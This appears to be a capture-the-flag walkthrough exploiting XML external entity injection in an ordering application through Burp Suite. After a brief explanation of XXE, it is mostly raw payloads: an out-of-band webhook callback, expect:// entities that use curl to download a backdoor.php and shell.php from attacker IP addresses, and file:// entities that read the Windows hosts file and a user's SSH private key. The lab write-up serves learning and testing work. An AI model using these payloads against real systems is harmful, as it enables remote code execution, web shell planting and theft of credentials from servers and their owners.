We know that XML data is shared when we place an order. We will be exploiting this.
Introduction to XXE
XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.
In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other back-end infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks.
Add this to the Cheat sheet and delete it after that.
Modify the request in the burp suite repeater. to test this XXE vulnerability.
We can see that after adding the payload. We got the same output that we were getting before. We didn't get any error. This means our payload is correct or XXE didn't work.
<?xml version = "1.0"?>
<!DOCTYPE order [
<!ELEMENT order ANY >
<!ENTITY xxe SYSTEM "https://webhook.site/dbdeda9a-68a3-420b-81d9-213c0fb7a6a9" >]>
<order><quantity>
&xxe;
</quantity><item>Groceries</item><address>13, Big Splash, Sec 17, Nr Vashi Bus Depot, Vashi</address></order>
<!DOCTYPE root [
<!ENTITY file SYSTEM "expect://curl$IFS-O$IFS'1.3.3.7:8000/backdoor.php'">
]>
<!DOCTYPE order [
<!ELEMENT order ANY >
<!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'10.10.16.8/shell.php'" >]>
<?xml version = "1.0"?>
<!DOCTYPE order [
<!ELEMENT order ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts" >]>
<order><quantity>2</quantity><item>
&xxe;
</item><address>Cooler</address></order>
<?xml version = "1.0"?>
<!DOCTYPE order [
<!ELEMENT order ANY >
<!ENTITY xxe SYSTEM "file:///c:/users/daniel/.ssh/id_rsa" >]>
<order><quantity>2</quantity><item>
&xxe;
</item><address>Cooler</address></order>